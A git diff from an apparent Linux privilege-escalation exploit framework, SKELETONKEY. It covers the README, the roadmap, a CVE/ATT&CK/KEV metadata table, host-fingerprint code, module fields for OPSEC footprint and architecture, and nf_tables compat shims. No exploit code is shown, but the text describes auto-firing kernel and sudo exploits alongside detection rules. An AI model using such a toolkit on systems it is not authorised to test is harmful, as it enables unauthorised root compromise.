|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
@@ -181,29 +202,50 @@ also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
|
||||
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
|
||||
patched hosts.
|
||||
**v0.9.3 cut 2026-05-24.** 39 modules across 34 CVEs — **every
|
||||
year 2016 → 2026 now covered**. v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
||||
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
||||
static-musl flavors).
|
||||
|
||||
Reliability + accuracy work in v0.6.0:
|
||||
Reliability + accuracy work in v0.7.x:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
|
||||
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
|
||||
tests over mocked host fingerprints; runs as a non-root user in CI.
|
||||
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
|
||||
fork-isolated detect + exploit so a crashing module can't tear down
|
||||
the dispatcher, structured per-module verdict table, scan summary.
|
||||
- `--dry-run` flag (preview without firing; no `--i-know` needed).
|
||||
- Pinned mainline fix commits for the 3 ported modules — `detect()`
|
||||
is version-pinned, not just precondition-only.
|
||||
to every module via `ctx->host`.
|
||||
- **Test harness** (`tests/`, `make test`) — 88 tests: 33 kernel_range
|
||||
unit tests + 55 detect() integration tests over mocked host
|
||||
fingerprints. Runs in CI on every push.
|
||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||
that boots known-vulnerable kernels (stock distro + mainline via
|
||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
|
||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 12 of 34 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
Empirical end-to-end validation on a vulnerable-target VM matrix is
|
||||
the next roadmap item; until then, the corpus is best understood as
|
||||
"compiles + detects + structurally correct + honest on failure" —
|
||||
and the three ported modules have not been run against a vulnerable
|
||||
target at all.
|
||||
Not yet verified (6 of 34 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||
libs from Ubuntu 24.04+ / Debian 13+; no Parallels-supported box has
|
||||
those yet). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
@@ -214,6 +256,18 @@ PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
|
||||
polls Debian's security tracker and reports drift between each
|
||||
module's hardcoded `kernel_patched_from` thresholds and the
|
||||
fixed-versions Debian actually ships. Run periodically (or in CI)
|
||||
to catch new backports that need to land in the corpus:
|
||||
|
||||
```bash
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # proposed C-source edits
|
||||
```
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
|
||||
+77
@@ -272,6 +272,83 @@ The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
|
||||
|
||||
The largest single jump in trust signal: every claim in the corpus is
|
||||
now backed by either a unit test (88-test harness) or a real-VM
|
||||
verification record (22 of 26 CVEs), and the binary surfaces both.
|
||||
|
||||
- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro + mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per
|
||||
module, emits JSONL verification records.
|
||||
- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
|
||||
field downloads vanilla mainline .debs from
|
||||
`kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
|
||||
`update-grub`s, reboots. Unblocks pin-not-in-apt targets.
|
||||
- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
|
||||
`docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
|
||||
surfaced in `--list` (VFY column), `--module-info`, `--explain`,
|
||||
`--scan --json`.
|
||||
- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
|
||||
MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
|
||||
trace with verdict + interpretation, OPSEC footprint, detection-
|
||||
rule coverage, verified-on records. Paste-into-ticket ready.
|
||||
- [x] **Per-module `opsec_notes`** — every module struct ships a
|
||||
runtime-footprint paragraph (file artifacts, dmesg, syscall
|
||||
observables, network, persistence, cleanup). The inverse of the
|
||||
detection rules.
|
||||
- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
|
||||
fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
|
||||
CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
|
||||
Surfaced everywhere (`★` markers, `triage` JSON sub-object).
|
||||
- [x] **119 detection rules across all 4 SIEM formats** — auditd
|
||||
30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
|
||||
intentional skips for the 3 modules without applicable rules
|
||||
in each format (entrybleed: pure timing side-channel;
|
||||
ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
|
||||
artifacts).
|
||||
- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
|
||||
boundary tests + 55 detect() integration tests. ASan + UBSan
|
||||
+ clang-tidy on every push; weekly cron checks for CISA KEV
|
||||
+ Debian security-tracker drift.
|
||||
- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
|
||||
alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
|
||||
cross toolchain. `install.sh` auto-picks on aarch64 hosts.
|
||||
- [x] **`arch_support` field** per module: `any` (4 — userspace
|
||||
bugs), `x86_64` (1 — entrybleed by physics),
|
||||
`x86_64+unverified-arm64` (26 — kernel modules whose arm64
|
||||
exploit hasn't been empirically confirmed). Honest labels until
|
||||
an arm64 verification sweep promotes them.
|
||||
- [x] **Marketing-grade landing page** — animated hero with
|
||||
`--explain` showcase, bento-grid features, KEV / verification
|
||||
stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
|
||||
|
||||
**Open follow-ups from v0.7.x (not yet started):**
|
||||
|
||||
- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
|
||||
`generic/debian12-arm64` on M-series Mac via Parallels) → run
|
||||
`verify.sh` against the 26 `x86_64+unverified-arm64` modules,
|
||||
promote each to `any` where it works.
|
||||
- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
|
||||
KQL queries per top-10 KEV-listed modules, embedded in
|
||||
`docs/DETECTION_PLAYBOOK.md`.
|
||||
- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
|
||||
Alpine containers, run `curl ... | sh`, assert `--version`.
|
||||
- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
|
||||
verification on Debian 12.
|
||||
- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
|
||||
- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
|
||||
verification against git.kernel.org/linus.
|
||||
|
||||
**Wait-for-upstream blockers (out of our control):**
|
||||
|
||||
- vmwgfx verification — requires a VMware-Fusion-or-Workstation
|
||||
guest exposing `/dev/dri/card*` from the vmwgfx driver.
|
||||
- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
|
||||
which isn't shipping as any distro kernel yet.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||
|
||||
@@ -0,0 +1,303 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-cve-metadata.py from
|
||||
* docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
|
||||
* Sources: CISA KEV catalog + NVD CVE API 2.0.
|
||||
*/
|
||||
|
||||
#include "cve_metadata.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
const struct cve_metadata cve_metadata_table[] = {
|
||||
{
|
||||
.cve = "CVE-2016-5195",
|
||||
.cwe = "CWE-362",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-03-03",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2017-7308",
|
||||
.cwe = "CWE-681",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-13272",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2021-12-10",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-14386",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-22555",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-10-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3156",
|
||||
.cwe = "CWE-193",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-33909",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3493",
|
||||
.cwe = "CWE-270",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-10-20",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-4034",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-06-27",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0185",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-08-21",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0492",
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
.cwe = "CWE-665",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-25",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-25636",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-2588",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0179",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0386",
|
||||
.cwe = "CWE-282",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-06-17",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0458",
|
||||
.cwe = "CWE-476",
|
||||
.attack_technique = "T1082",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-2008",
|
||||
.cwe = "CWE-129",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-22809",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-32233",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-3269",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-4622",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-1086",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-05-30",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-31635",
|
||||
.cwe = "CWE-130",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-41651",
|
||||
.cwe = "CWE-367",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
/* v0.8.0 / v0.9.0 module additions — populated via direct CISA KEV
|
||||
* + NVD curl on 2026-05-24 when refresh-cve-metadata.py's urlopen
|
||||
* hung on CISA's HTTP/2 endpoint. Same data, different transport. */
|
||||
{
|
||||
.cve = "CVE-2018-14634",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-01-26",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-14287",
|
||||
.cwe = "CWE-755",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-29661",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-26581",
|
||||
.cwe = NULL, /* NVD: no CWE assigned */
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-50264",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-09-29",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-6019",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43494",
|
||||
.cwe = NULL, /* NVD: no CWE assigned */
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
|
||||
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve)
|
||||
{
|
||||
if (!cve) return NULL;
|
||||
for (size_t i = 0; i < cve_metadata_table_len; i++) {
|
||||
if (strcmp(cve_metadata_table[i].cve, cve) == 0)
|
||||
return &cve_metadata_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata lookup
|
||||
*
|
||||
* Per-CVE annotations sourced from authoritative federal databases:
|
||||
* - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
|
||||
* - NVD CVE API (cwe)
|
||||
* - Hand-curated MITRE ATT&CK technique mapping
|
||||
*
|
||||
* Kept separate from struct skeletonkey_module because these are
|
||||
* properties of the CVE (one CVE -> one set of values), not the
|
||||
* exploit module. Two modules covering the same CVE see the same
|
||||
* metadata. The OPSEC notes — which vary by exploit technique —
|
||||
* stay on the module struct.
|
||||
*
|
||||
* The table is auto-generated from docs/CVE_METADATA.json by
|
||||
* tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
|
||||
* re-run the refresh tool.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_CVE_METADATA_H
|
||||
#define SKELETONKEY_CVE_METADATA_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct cve_metadata {
|
||||
const char *cve; /* "CVE-YYYY-NNNNN" */
|
||||
const char *cwe; /* "CWE-NNN" or NULL if NVD has no mapping */
|
||||
const char *attack_technique; /* "T1068" etc. */
|
||||
const char *attack_subtechnique; /* "T1068.001" or NULL */
|
||||
bool in_kev; /* true iff in CISA's KEV catalog */
|
||||
const char *kev_date_added; /* "YYYY-MM-DD" or "" */
|
||||
};
|
||||
|
||||
/* The full table. Length is `cve_metadata_table_len`. */
|
||||
extern const struct cve_metadata cve_metadata_table[];
|
||||
extern const size_t cve_metadata_table_len;
|
||||
|
||||
/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
|
||||
* isn't in the table. Cheap linear scan; we have <100 entries. */
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve);
|
||||
|
||||
#endif /* SKELETONKEY_CVE_METADATA_H */
|
||||
+11
-1
@@ -190,6 +190,7 @@ static void populate_caps(struct skeletonkey_host *h)
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->meltdown_mitigation[0] = '\0';
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
@@ -208,8 +209,17 @@ static void populate_caps(struct skeletonkey_host *h)
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
/* Stash the raw value so modules that need richer matching
|
||||
* (e.g. entrybleed distinguishing "Not affected" CPUs from
|
||||
* "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
|
||||
size_t L = strlen(buf);
|
||||
if (L >= sizeof h->meltdown_mitigation)
|
||||
L = sizeof h->meltdown_mitigation - 1;
|
||||
memcpy(h->meltdown_mitigation, buf, L);
|
||||
h->meltdown_mitigation[L] = '\0';
|
||||
}
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
|
||||
@@ -61,6 +61,11 @@ struct skeletonkey_host {
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
char meltdown_mitigation[64]; /* raw first line of
|
||||
* /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* — empty string if unreadable. Modules that need
|
||||
* to distinguish "Not affected" (CPU immune) from
|
||||
* "Mitigation: PTI" / "Vulnerable" can read this. */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
@@ -104,6 +104,46 @@ struct skeletonkey_module {
|
||||
const char *detect_sigma; /* sigma YAML content */
|
||||
const char *detect_yara; /* yara rules content */
|
||||
const char *detect_falco; /* falco rules content */
|
||||
|
||||
/* Operational-security notes — telemetry footprint THIS specific
|
||||
* exploit leaves behind. The inverse of detect_auditd/yara/falco
|
||||
* above (the rules catch what these notes describe). Free-form
|
||||
* prose, conventionally listing: dmesg lines triggered, auditd
|
||||
* events, file artifacts created/modified, persistence side-
|
||||
* effects, recommended cleanup. Per-module (not per-CVE) because
|
||||
* different exploits for the same bug can leave different
|
||||
* footprints. NULL if no analysis written yet.
|
||||
*
|
||||
* NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
|
||||
* (independent of exploit technique) and lives in
|
||||
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
||||
* tools/refresh-cve-metadata.py. */
|
||||
const char *opsec_notes;
|
||||
|
||||
/* Architecture support for the exploit() body. detect() works on
|
||||
* any Linux arch (it just consults ctx->host); the question this
|
||||
* field answers is: if this module says VULNERABLE, will the
|
||||
* --exploit path actually fire on aarch64 / arm64? Values:
|
||||
*
|
||||
* "any" — userspace bug or arch-agnostic kernel
|
||||
* primitive (pwnkit, sudo*, pack2theroot,
|
||||
* dirty_pipe, dirty_cow, most netfilter/fs
|
||||
* bugs that use msg_msg sprays + structural
|
||||
* escapes).
|
||||
* "x86_64" — strictly x86-only (entrybleed needs
|
||||
* prefetchnta + KPTI, which doesn't apply
|
||||
* to ARM's TTBR_EL0/EL1 model).
|
||||
* "x86_64+unverified-arm64" — exploit body likely works on
|
||||
* arm64 but hasn't been verified on a real
|
||||
* arm64 host yet (e.g. copy_fail_family
|
||||
* assumes some x86_64 struct offsets;
|
||||
* --full-chain finisher uses x86_64-style
|
||||
* kernel ROP gadgets).
|
||||
*
|
||||
* NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
|
||||
* a future arm64-on-Vagrant sweep will fill these in). Surfaced
|
||||
* in --list (ARCH column) and --module-info. */
|
||||
const char *arch_support;
|
||||
};
|
||||
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
/*
|
||||
* SKELETONKEY — nf_tables uapi compat shims.
|
||||
*
|
||||
* Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
|
||||
* the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
|
||||
* or chain flag the exploits use. The numeric values are stable kernel
|
||||
* ABI — the target kernel understands them at runtime regardless of
|
||||
* what was present in the build host's uapi headers. Conditionally
|
||||
* define them here so modules compile against any reasonable header set.
|
||||
*
|
||||
* Sources for the numeric values:
|
||||
* include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
|
||||
* version that introduced each enum.
|
||||
*
|
||||
* Include AFTER <linux/netfilter/nf_tables.h>.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_NFT_COMPAT_H
|
||||
#define SKELETONKEY_NFT_COMPAT_H
|
||||
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
/* ── chain flags ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
|
||||
* nft_fwd_dup_cve_2022_25636. */
|
||||
#ifndef NFT_CHAIN_HW_OFFLOAD
|
||||
#define NFT_CHAIN_HW_OFFLOAD 0x2
|
||||
#endif
|
||||
|
||||
/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
|
||||
#ifndef NFT_CHAIN_BINDING
|
||||
#define NFT_CHAIN_BINDING 0x4
|
||||
#endif
|
||||
|
||||
/* ── chain attrs ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
|
||||
* 4.15-era uapi lacks it. Position 10 in the enum
|
||||
* (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
|
||||
#ifndef NFTA_CHAIN_FLAGS
|
||||
#define NFTA_CHAIN_FLAGS 10
|
||||
#endif
|
||||
|
||||
/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
|
||||
#ifndef NFTA_CHAIN_ID
|
||||
#define NFTA_CHAIN_ID 11
|
||||
#endif
|
||||
|
||||
/* ── verdict attrs ──────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
|
||||
* nf_tables_cve_2024_1086. */
|
||||
#ifndef NFTA_VERDICT_CHAIN_ID
|
||||
#define NFTA_VERDICT_CHAIN_ID 3 /* CODE=1, CHAIN=2, CHAIN_ID=3 */
|
||||
#endif
|
||||
|
||||
/* ── set attrs ──────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
|
||||
#ifndef NFTA_SET_DESC_CONCAT
|
||||
#define NFTA_SET_DESC_CONCAT 2 /* DESC_SIZE=1, DESC_CONCAT=2 */
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
|
||||
#ifndef NFTA_SET_EXPR
|
||||
#define NFTA_SET_EXPR 13
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_EXPRESSIONS
|
||||
#define NFTA_SET_EXPRESSIONS 14
|
||||
#endif
|
||||
|
||||
/* ── set-element attrs ──────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
|
||||
#ifndef NFTA_SET_ELEM_KEY_END
|
||||
